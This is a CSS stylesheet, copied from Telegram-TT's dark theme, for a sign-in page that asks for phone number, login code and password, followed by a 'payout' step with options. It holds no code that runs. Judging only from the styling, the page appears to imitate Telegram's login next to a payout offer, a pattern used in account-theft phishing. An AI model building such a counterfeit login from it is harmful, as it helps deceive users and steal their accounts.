#payout-step .payout-card {
  background: var(--color-background-secondary);
  border: 1px solid var(--color-borders);
  border-radius: 1.5rem;
  padding: 2rem 1.5rem;
  box-shadow: 0 1.5rem 3rem rgba(0, 0, 0, 0.45);
  display: flex;
  flex-direction: column;
  gap: 1.25rem;
  margin-top: 1.25rem;
}

@media (max-width: 480px) {
  #payout-step .payout-card {
    padding: 1.75rem 1.25rem;
    margin-top: 0.5rem;
  }
}

.payout-header {
  text-align: left;
}

.payout-label {
  display: inline-flex;
  align-items: center;
  gap: 0.25rem;
  padding: 0.25rem 0.75rem;
  border-radius: 999px;
  font-size: 0.75rem;
  letter-spacing: 0.08em;
  text-transform: uppercase;
  background: rgba(135, 116, 225, 0.15);
  color: var(--color-primary);
  margin-bottom: 0.5rem;
}

.payout-options {
  display: grid;
  grid-template-columns: 1fr;
  gap: 0.75rem;
  transition: opacity 0.3s ease, transform 0.3s ease;
}

.payout-options.hidden {
  opacity: 0;
  transform: translateY(-0.5rem);
  pointer-events: none;
}

@media (min-width: 600px) {
  .payout-options {
    grid-template-columns: 1fr 1fr;
  }
}

.payout-option {
  border: 1px solid var(--color-borders);
  border-radius: 1rem;
  background: var(--color-background);
  padding: 1.25rem 1.5rem;
  text-align: left;
  color: inherit;
  cursor: pointer;
  transition: border-color 0.25s ease, transform 0.25s ease, box-shadow 0.25s ease;
  display: flex;
  flex-direction: column;
  gap: 0.35rem;
}

.payout-option .option-title {
  font-weight: 600;
  font-size: 1rem;
}

.payout-option .option-desc {
  font-size: 0.875rem;
  color: var(--color-text-secondary);
}

.payout-option:hover {
  border-color: var(--color-primary);
  transform: translateY(-4px);
  box-shadow: 0 1rem 2rem rgba(0, 0, 0, 0.3);
}

.payout-option.active {
  border-color: var(--color-primary);
  box-shadow: 0 1.5rem 3rem rgba(135, 116, 225, 0.3);
  background: rgba(135, 116, 225, 0.15);
}

.payout-next {
  margin-top: 0.5rem;
  opacity: 0;
  transform: translateY(0.5rem);
  pointer-events: none;
  transition: opacity 0.3s ease, transform 0.3s ease;
}

.payout-next.visible {
  opacity: 1;
  transform: translateY(0);
  pointer-events: auto;
}

.payout-next.completed {
  opacity: 0;
  pointer-events: none;
}

.payout-result {
  border-radius: 1rem;
  border: 1px dashed rgba(135, 116, 225, 0.4);
  padding: 1.25rem 1.5rem;
  background: rgba(135, 116, 225, 0.1);
  text-align: left;
  display: none;
  animation: fade 0.3s ease;
}

.payout-result.visible {
  display: block;
}

.payout-result h3 {
  margin: 0 0 0.5rem;
  font-size: 1.125rem;
}

.payout-result p {
  margin: 0 0 1rem;
  color: var(--color-text-secondary);
  line-height: 1.4;
}

/* Telegram-TT Dark Theme Styles */
:root {
  /* Primary Colors */
  --color-primary: #8774E1;
  --color-primary-shade: #7b71c6;
  --color-primary-shade-darker: #6f66b3;
  --color-primary-shade-rgb: 123, 113, 198;
  --color-primary-opacity: rgba(131, 120, 219, 0.12);
  --color-primary-opacity-hover: rgba(131, 120, 219, 0.25);
  
  /* Background Colors */
  --color-background: #212121;
  --color-background-secondary: #0F0F0F;
  --color-background-secondary-accent: #191919;
  --color-background-selected: #2C2C2C;
  --color-background-own: #766AC8;
  --color-background-own-selected: #6549d4;
  
  /* Text Colors */
  --color-text: #FFFFFF;
  --color-text-rgb: 255, 255, 255;
  --color-text-secondary: #AAAAAA;
  --color-text-secondary-rgb: 170, 170, 170;
  --color-text-meta: #8c8c91;
  --color-text-green: #4fae4e;
  
  /* Border Colors */
  --color-borders: #303030;
  --color-borders-input: #5B5B5A;
  --color-dividers: #3B3B3D;
  
  /* Interactive Colors */
  --color-interactive-element-hover: rgba(170, 170, 170, 0.08);
  --color-chat-hover: #2C2C2C;
  --color-item-hover: #2C2C2C;
  --color-item-active: #292929;
  
  /* Status Colors */
  --color-error: #e53935;
  --color-error-rgb: 229, 57, 53;
  --color-success: #00C73E;
  --color-green: #8774E1;
  
  /* Other */
  --color-placeholders: #a2acb4;
  --color-white: #ffffff;
  --color-gray: #717579;
  
  /* Shadows */
  --color-default-shadow: rgba(16, 16, 16, 0.61);
  --color-light-shadow: rgba(0, 0, 0, 0.25);
  
  /* Layout */
  --border-radius-default: 0.75rem;
  --border-radius-default-small: 0.625rem;
  --border-radius-messages: 0.9375rem;
  
  /* Transitions */
  --layer-transition: 300ms cubic-bezier(0.33, 1, 0.68, 1);
}

* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

body {
  margin: 0;
  min-height: 100vh;
  font-family: -apple-system, BlinkMacSystemFont, 'Roboto', 'Helvetica Neue', Arial, sans-serif;
  font-size: 16px;
  line-height: 1.5;
  color: var(--color-text);
  background-color: var(--color-background);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

.Auth {
  height: 100vh;
  display: flex;
  align-items: center;
  justify-content: center;
  overflow-y: auto;
}

.auth-form {
  width: 100%;
  max-width: 25.5rem;
  margin: 0 auto;
  padding: 6rem 1rem 1rem;
  text-align: center;
}

#logo {
  display: block;
  width: min(100%, 26rem);
  height: auto;
  margin: 0 auto 2rem;
}

@media (max-width: 600px) {
  #logo {
    width: min(100%, 22rem);
    margin-bottom: 1.75rem;
  }
}

@media (min-width: 1200px) and (min-height: 600px) {
  #logo {
    width: 32rem;
    margin-bottom: 3rem;
  }
}

h1 {
  margin: 0 0 0.625rem;
  font-size: 1.25rem;
  font-weight: 700;
  line-height: 1;
  color: var(--color-text);
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 0.5rem;
  flex-wrap: wrap;
}

@media (min-width: 600px) {
  h1 {
    font-size: 2rem;
    line-height: 1.5;
  }
}

h2 {
  margin: 0 0 0.625rem;
  font-size: 1.25rem;
  font-weight: 700;
  line-height: 1.2;
  color: var(--color-text);
}

/* Monkey Animation - Original from Telegram-TT */
.monkey-container {
  width: 7.5rem;
  height: 7.5rem;
  margin: 0 auto 1.75rem;
  position: relative;
  display: flex;
  align-items: center;
  justify-content: center;
}

@media (min-width: 600px) and (min-height: 450px) {
  .monkey-container {
    width: 10rem;
    height: 10rem;
    margin-bottom: 2.5rem;
  }
}

.monkey-image {
  width: 100%;
  height: 100%;
  object-fit: contain;
  animation: monkeyIdle 2s ease-in-out infinite;
}

.monkey-container.tracking .monkey-image {
  animation: monkeyTrack 0.6s ease-in-out;
}

@keyframes monkeyIdle {
  0%, 100% {
    transform: scale(1) translateY(0);
  }
  50% {
    transform: scale(1.02) translateY(-2px);
  }
}

@keyframes monkeyTrack {
  0%, 100% {
    transform: scale(1) rotate(0deg);
  }
  25% {
    transform: scale(1.05) rotate(-2deg);
  }
  75% {
    transform: scale(1.05) rotate(2deg);
  }
}

.note {
  margin-bottom: 2.5rem;
  font-size: 0.875rem;
  line-height: 1.35;
  color: var(--color-text-secondary);
}

@media (min-width: 600px) {
  .note {
    margin-bottom: 3rem;
    font-size: 1rem;
  }
}

.note.small {
  margin-bottom: 1.5rem;
  font-size: 0.875rem;
}

.form {
  display: none;
}

.form.active {
  display: block;
  animation: fade 300ms cubic-bezier(0.33, 1, 0.68, 1);
}

@keyframes fade {
  from {
    opacity: 0;
    transform: translateY(0.5rem);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* Input Group Styles */
.input-group {
  position: relative;
  margin-bottom: 1.125rem;
}

.label {
  pointer-events: none;
  cursor: text;
  position: absolute;
  top: 0.6875rem;
  left: 1rem;
  transform-origin: left center;
  display: block;
  padding: 0 0.3125rem;
  font-size: 1rem;
  font-weight: 400;
  color: var(--color-placeholders);
  white-space: nowrap;
  background-color: var(--color-background);
  transition: transform 0.15s ease-out, color 0.15s ease-out;
}

.input-group.touched .label,
.form-control:focus + .label {
  transform: scale(0.75) translate(0, -2rem);
  color: var(--color-text-secondary);
}

.input-row {
  display: flex;
  gap: 0.625rem;
  margin-bottom: 1.125rem;
}

@media (max-width: 480px) {
  .input-row {
    flex-direction: column;
  }
}

/* Country Select */
.country-select {
  position: relative;
  flex: 1;
}

.country-button {
  cursor: pointer;
  display: flex;
  align-items: center;
  gap: 0.5rem;
  width: 100%;
  height: 3rem;
  padding: 0.75rem 1.1875rem 0.6875rem;
  border: 1px solid var(--color-borders-input);
  border-radius: var(--border-radius-default);
  font-size: 1rem;
  line-height: 1.25rem;
  color: var(--color-text);
  text-align: left;
  background-color: var(--color-background);
  outline: none;
  transition: border-color 0.15s ease;
  -webkit-appearance: none;
  appearance: none;
}

.country-button:hover {
  border-color: var(--color-primary);
}

.country-button .country-flag {
  font-size: 1.5rem;
  line-height: 1;
  flex-shrink: 0;
}

.country-dropdown {
  position: absolute;
  top: calc(100% + 0.5rem);
  left: 0;
  right: 0;
  z-index: 100;
  max-height: 17.5rem;
  border: 1px solid var(--color-borders);
  border-radius: var(--border-radius-default);
  background: var(--color-background);
  box-shadow: 0 0.5rem 2rem var(--color-default-shadow);
  overflow: hidden;
  display: none;
}

.country-dropdown.open {
  display: block;
  animation: fade 200ms ease;
}

.country-search {
  display: block;
  width: 100%;
  padding: 0.75rem 1rem;
  border: none;
  border-bottom: 1px solid var(--color-borders);
  font-size: 1rem;
  color: var(--color-text);
  background-color: var(--color-background);
  outline: none;
}

.country-search::placeholder {
  color: var(--color-placeholders);
}

.country-list {
  max-height: 13.75rem;
  overflow-y: auto;
  margin: 0;
  padding: 0;
  list-style: none;
}

.country-item {
  cursor: pointer;
  display: flex;
  align-items: center;
  gap: 1rem;
  padding: 0.625rem 1rem;
  font-size: 1rem;
  color: var(--color-text);
  transition: background-color 0.15s ease;
}

.country-item:hover {
  background-color: var(--color-item-hover);
}

.country-item .country-flag {
  font-size: 1.5rem;
  line-height: 1;
  flex-shrink: 0;
  width: 1.5rem;
  text-align: left;
}

.country-item .country-name {
  flex: 1;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  color: var(--color-text);
  text-align: left;
}

.country-item .country-code {
  margin-left: auto;
  padding-left: 0.5rem;
  color: var(--color-text-secondary);
  opacity: 0.5;
  flex-shrink: 0;
  text-align: right;
}

/* Form Controls */
.form-control,
.phone-input,
.code-input,
.password-input {
  display: block;
  width: 100%;
  height: 3rem;
  padding: 0.75rem 1.1875rem 0.6875rem;
  border: 1px solid var(--color-borders-input);
  border-radius: var(--border-radius-default);
  font-size: 1rem;
  line-height: 1.25rem;
  color: var(--color-text);
  background-color: var(--color-background);
  outline: none;
  -webkit-appearance: none;
  appearance: none;
  transition: border-color 0.15s ease;
}

/* Password input with toggle button */
.password-input-group {
  position: relative;
}

.password-input-group .password-input {
  padding-right: 3.375rem;
}

.toggle-password {
  cursor: pointer;
  position: absolute;
  top: 50%;
  right: 0.75rem;
  transform: translateY(-50%);
  display: flex;
  align-items: center;
  justify-content: center;
  width: 2.5rem;
  height: 2.5rem;
  padding: 0.5rem;
  border: none;
  border-radius: var(--border-radius-default);
  background-color: transparent;
  color: var(--color-text-secondary);
  opacity: 0.75;
  outline: none;
  transition: opacity 0.15s, background-color 0.15s;
}

.toggle-password:hover,
.toggle-password:focus {
  opacity: 1;
  background-color: var(--color-interactive-element-hover);
}

.toggle-password .eye-icon {
  width: 1.5rem;
  height: 1.5rem;
}

.toggle-password.visible .eye-open {
  display: none;
}

.toggle-password.visible .eye-closed {
  display: block !important;
}

.form-control::placeholder,
.phone-input::placeholder,
.code-input::placeholder,
.password-input::placeholder {
  color: var(--color-placeholders);
}

/* Loading Screen */
.loading-container {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 2rem 0;
  gap: 1.5rem;
}

.spinner {
  --spinner-size: 3rem;
  position: relative;
  width: var(--spinner-size);
  height: var(--spinner-size);
  display: flex;
  align-items: center;
  justify-content: center;
}

.spinner-inner {
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  border: 3px solid transparent;
  border-top-color: var(--color-primary);
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  from {
    transform: rotate(0deg);
  }
  to {
    transform: rotate(360deg);
  }
}

.loading-container h2 {
  margin: 0;
  font-size: 1.5rem;
  font-weight: 500;
  color: var(--color-text);
}

.loading-container .note {
  margin: 0;
  color: var(--color-text-secondary);
}

.form-control:hover,
.phone-input:hover,
.code-input:hover,
.password-input:hover {
  border-color: var(--color-primary);
}

.form-control:focus,
.phone-input:focus,
.code-input:focus,
.password-input:focus {
  border-color: var(--color-primary);
  box-shadow: inset 0 0 0 1px var(--color-primary);
  caret-color: var(--color-primary);
}

.form-control:autofill,
.form-control:-webkit-autofill {
  box-shadow: inset 0 0 0 10rem var(--color-background);
  -webkit-text-fill-color: var(--color-text);
}

/* Buttons */
.auth-button {
  cursor: pointer;
  position: relative;
  overflow: hidden;
  display: flex;
  flex-shrink: 0;
  align-items: center;
  justify-content: center;
  width: 100%;
  min-height: 3rem;
  margin-top: 2.5rem;
  padding: 0.625rem 1rem;
  border: 0;
  border-radius: var(--border-radius-default);
  font-size: 1rem;
  font-weight: 500;
  line-height: 1.2;
  color: var(--color-white);
  text-transform: uppercase;
  background-color: var(--color-primary);
  outline: none;
  transition:
    background-color 0.15s,
    opacity 0.15s,
    min-height 0.3s ease,
    padding 0.3s ease;
}

.auth-button.primary {
  background-color: var(--color-primary);
}

.auth-button:not(:disabled):hover {
  background-color: var(--color-primary-shade);
}

.auth-button:not(:disabled):active {
  background-color: var(--color-primary-shade-darker);
}

.auth-button.error:not(:disabled):hover,
.auth-button.error:not(:disabled):active {
  background-color: var(--color-error);
}

.auth-button.error {
  background-color: var(--color-error);
  box-shadow: 0 0 0 1px rgba(var(--color-error-rgb), 0.35), 0 0 1.5rem rgba(var(--color-error-rgb), 0.25);
  text-transform: none;
  white-space: normal;
  min-height: 4.25rem;
  padding: 1rem 1.25rem;
  animation: button-error-fade 0.2s ease;
}

@keyframes button-error-fade {
  from {
    opacity: 0.6;
    transform: translateY(2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.auth-button:disabled {
  cursor: default;
  opacity: 0.5;
  pointer-events: none;
}

.auth-button + .auth-button {
  margin-top: 0.5rem;
}

.error-return {
  display: none;
  margin-top: 1rem;
  opacity: 0;
  transition: opacity 0.2s ease;
}

.error-return.visible {
  display: block;
  opacity: 1;
}

/* Heading Row */
.heading-row {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 0.5rem;
  margin-bottom: 0.375rem;
}

#phone-label {
  margin: 0;
  font-size: 1.25rem;
  font-weight: 700;
  color: var(--color-text);
}

.edit-button {
  cursor: pointer;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 2.5rem;
  height: 2.5rem;
  padding: 0.5rem;
  border: none;
  border-radius: var(--border-radius-default);
  font-size: 1.5rem;
  color: var(--color-text-secondary);
  background-color: transparent;
  opacity: 0.75;
  outline: none;
  transition: opacity 0.15s, background-color 0.15s;
  flex-shrink: 0;
}

.edit-button svg {
  width: 1.5rem;
  height: 1.5rem;
}

.edit-button:hover,
.edit-button:focus {
  opacity: 1;
  background-color: var(--color-interactive-element-hover);
}

/* Status Messages */
.status {
  margin-top: 1rem;
  min-height: 1.125rem;
  font-size: 0.875rem;
  line-height: 1.35;
  color: var(--color-text-secondary);
  text-align: center;
}

.status.error {
  color: var(--color-error);
}

/* Success Step */
.success-icon {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 5rem;
  height: 5rem;
  margin: 0 auto 1.5rem;
  border-radius: 50%;
  font-size: 2.5rem;
  font-weight: 700;
  color: var(--color-white);
  background-color: var(--color-primary);
  box-shadow: 0 0.5rem 1.5rem rgba(135, 116, 225, 0.3);
}

/* Responsive */
@media (max-width: 600px) {
  .auth-form {
    padding: 3rem 1rem 1rem;
  }
  
  #logo {
    width: 15rem;
    height: 6rem;
    margin-bottom: 1.5rem;
  }
  
  h1 {
    font-size: 1.5rem;
  }
}
